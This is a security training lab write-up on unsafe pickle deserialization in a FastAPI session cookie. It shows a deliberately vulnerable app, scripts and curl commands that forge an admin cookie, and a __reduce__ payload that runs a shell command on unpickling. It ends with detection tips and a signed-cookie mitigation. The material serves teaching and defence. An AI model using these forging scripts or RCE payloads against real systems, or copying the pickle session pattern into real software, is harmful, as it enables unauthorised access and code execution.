PyFu

Authentication Bypass via Unsafe Python Deserialization

Python-based Web Application Attacks

Some applications skip JWTs and signed cookies entirely and store session state by pickling a Python object straight into a cookie. This collapses two problems into one: the privilege-escalation risk of a tamperable session, and the remote-code-execution risk of unsafe pickle deserialization. Both are exploitable here, and both stem from the application trusting attacker-controlled bytes during deserialization.

Python’s pickle module provides object serialization, allowing complex Python objects to be converted to byte streams and back. When applications use pickle to serialize session data or authentication cookies, attackers can craft malicious pickled objects to escalate privileges or execute arbitrary code.

Unlike JWT or signed cookies, pickled data has no built-in integrity verification. If an application unpickles user-controlled data without validation, attackers can modify the serialized content to change their role, user ID, or any other session attribute.

Vulnerable Application Example

The following FastAPI application uses pickled cookies to maintain user sessions:

from fastapi import FastAPI, Response, Cookie, HTTPException
from fastapi.responses import JSONResponse
import pickle
import base64
from typing import Optional

app = FastAPI(title="Session Management API")

class UserSession:
    def __init__(self, user_id: str, username: str, role: str):
        self.user_id = user_id
        self.username = username
        self.role = role

def create_session_cookie(session: UserSession) -> str:
    """Serialize session object to base64-encoded pickle."""
    pickled = pickle.dumps(session)
    return base64.b64encode(pickled).decode('utf-8')

def load_session_cookie(cookie_value: str) -> UserSession:
    """Deserialize session from base64-encoded pickle."""
    try:
        pickled = base64.b64decode(cookie_value)
        # Vulnerable: unpickling user-controlled data
        session = pickle.loads(pickled)
        return session
    except Exception:
        raise HTTPException(status_code=401, detail="Invalid session")

@app.post("/api/login")
def login(username: str, password: str, response: Response):
    """Authenticate user and set session cookie."""
    # Simplified authentication
    if username == "guest" and password == "guest123":
        session = UserSession(
            user_id="user_001",
            username="guest",
            role="user"
        )
        cookie_value = create_session_cookie(session)
        response.set_cookie(key="session", value=cookie_value)
        return {"message": "Login successful", "role": session.role}
    
    raise HTTPException(status_code=401, detail="Invalid credentials")

@app.get("/api/profile")
def get_profile(session: Optional[str] = Cookie(None)):
    """Get current user profile from session cookie."""
    if not session:
        raise HTTPException(status_code=401, detail="No session cookie")
    
    user_session = load_session_cookie(session)
    
    return {
        "user_id": user_session.user_id,
        "username": user_session.username,
        "role": user_session.role
    }

@app.get("/api/admin/panel")
def admin_panel(session: Optional[str] = Cookie(None)):
    """Admin-only endpoint."""
    if not session:
        raise HTTPException(status_code=401, detail="No session cookie")
    
    user_session = load_session_cookie(session)
    
    if user_session.role != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
    
    return {
        "message": "Welcome to admin panel",
        "admin_user": user_session.username,
        "secret_data": "Sensitive admin information here"
    }

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

The Vulnerability

The application serializes user session data using pickle:

def create_session_cookie(session: UserSession) -> str:
    pickled = pickle.dumps(session)
    return base64.b64encode(pickled).decode('utf-8')

And deserializes it without any integrity check:

def load_session_cookie(cookie_value: str) -> UserSession:
    pickled = base64.b64decode(cookie_value)
    session = pickle.loads(pickled)  # Vulnerable!
    return session

Since the cookie is just base64-encoded pickle data with no signature or encryption, an attacker can:

  1. Decode the cookie to examine its structure
  2. Create a new pickled object with modified attributes
  3. Encode it and send it back to the server

Exploitation: Privilege Escalation

First, login as a regular user and capture the session cookie:

curl -X POST "http://target:8000/api/login?username=guest&password=guest123" -c cookies.txt

The cookie contains a base64-encoded pickled UserSession object with role="user".

To escalate privileges, create a new pickled session with role="admin":

import pickle
import base64

class UserSession:
    def __init__(self, user_id: str, username: str, role: str):
        self.user_id = user_id
        self.username = username
        self.role = role

# Create admin session
admin_session = UserSession(
    user_id="user_001",
    username="guest",
    role="admin"  # Changed from "user" to "admin"
)

# Serialize and encode
pickled = pickle.dumps(admin_session)
malicious_cookie = base64.b64encode(pickled).decode('utf-8')

print(f"Malicious cookie: {malicious_cookie}")

This produces a cookie like:

gASVRgAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwFYWRtaW6UdWIu

Use the forged cookie to access the admin panel:

curl -X GET http://target:8000/api/admin/panel \
  -H "Cookie: session=gASVRgAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwFYWRtaW6UdWIu"

The server unpickles the cookie, sees role="admin", and grants access.

Understanding the Pickle Format

To modify an existing cookie, decode and inspect it:

import pickle
import base64

# Original cookie from server
original_cookie = "gASVRQAAAAAAAACMCF9fbWFpbl9flIwLVXNlclNlc3Npb26Uk5QpgZR9lCiMB3VzZXJfaWSUjAh1c2VyXzAwMZSMCHVzZXJuYW1llIwFZ3Vlc3SUjARyb2xllIwEdXNlcpR1Yi4="

# Decode and unpickle
pickled_data = base64.b64decode(original_cookie)
session = pickle.loads(pickled_data)

print(f"User ID: {session.user_id}")
print(f"Username: {session.username}")
print(f"Role: {session.role}")

# Modify the role
session.role = "admin"

# Re-pickle and encode
modified_pickle = pickle.dumps(session)
malicious_cookie = base64.b64encode(modified_pickle).decode('utf-8')

print(f"\nModified cookie: {malicious_cookie}")

Beyond Privilege Escalation: Code Execution

Pickle deserialization can also lead to remote code execution. The __reduce__ method allows objects to specify how they should be reconstructed, which attackers can abuse:

import pickle
import base64
import os

class MaliciousSession:
    def __reduce__(self):
        # This will execute when unpickled
        return (os.system, ("id > /tmp/pwned",))

payload = pickle.dumps(MaliciousSession())
malicious_cookie = base64.b64encode(payload).decode('utf-8')

print(f"RCE payload: {malicious_cookie}")

When the server calls pickle.loads() on this cookie, it executes the system command.

Why unsafe Python deserialization matters from an offensive security perspective

I prize a pickled session because it pays out twice from a single primitive. The same byte stream that lets me flip role="user" to role="admin" also lets me ship a __reduce__ gadget for code execution, so one finding spans privilege escalation and full RCE on the application host. When I see this in an assessment it usually means there is no signing key to recover and no signature to forge; I just rebuild the object I want and present it. That makes it a higher-value target than a leaked secret key, because there is no crypto in the way at all.

In Python apps these cookies hide in plain sight. Look for them here:

  • Base64 blobs that begin with gAS or gA after decoding to \x80\x05. That magic is the pickle protocol header, and it is the single most reliable tell that a session is a raw pickle rather than a JWT or an itsdangerous token.
  • Session cookies with no .-delimited segments and no visible signature. A JWT has two dots and a Flask signed cookie has a trailing HMAC; a bare pickle has neither, so a structureless opaque blob is worth decoding immediately.
  • pickle.loads, cloudpickle.loads, or pickle.load reachable from any request-derived value. Grep the codebase for these on cookies, headers, form fields, cache entries, or message-queue payloads; each one is a candidate.
  • Custom session classes serialized “for convenience” rather than a framework session backend, which is the pattern that leads developers to reach for pickle in the first place.

The defender takeaway: treat any pickle-backed session as already compromised and migrate to a signed, opaque server-side session, because the bypass needs no key and no login. See Insecure Deserialization - Python Pickle for the gadget-chain mechanics behind the RCE path.

Proof of exploitation

Run the lab app (PyFuLabs/fastapi-fu/fastapi-pickle-auth-bypass). The session cookie is a base64-encoded pickle of a UserSession object, so the client can build one with role="admin" and present it:

# forge a pickled UserSession(role="admin") and base64-encode it
python3 -c 'import pickle,base64;from app import UserSession;print(base64.b64encode(pickle.dumps(UserSession("evil","attacker","admin"))).decode())'

curl -s "http://pyfu.local/fastapi-fu/fastapi-pickle-auth-bypass/api/admin/panel" \
  -b "session=<forged-cookie>"
{"message":"Welcome to admin panel","admin_user":"attacker","secret_data":"Sensitive admin information here"}

pickle.loads rebuilt the attacker-controlled object verbatim, so a forged cookie became an admin session with no login.

Mitigation

Never use pickle for user-controlled data. Use signed and encrypted session storage:

from itsdangerous import URLSafeTimedSerializer
import json

SECRET_KEY = "your-secret-key-here"
serializer = URLSafeTimedSerializer(SECRET_KEY)

def create_session_cookie(session_data: dict) -> str:
    """Create signed session cookie."""
    return serializer.dumps(session_data)

def load_session_cookie(cookie_value: str, max_age: int = 3600) -> dict:
    """Load and verify signed session cookie."""
    try:
        return serializer.loads(cookie_value, max_age=max_age)
    except Exception:
        raise HTTPException(status_code=401, detail="Invalid or expired session")

Alternatively, use JWT tokens or server-side session storage where only a session ID is sent to the client.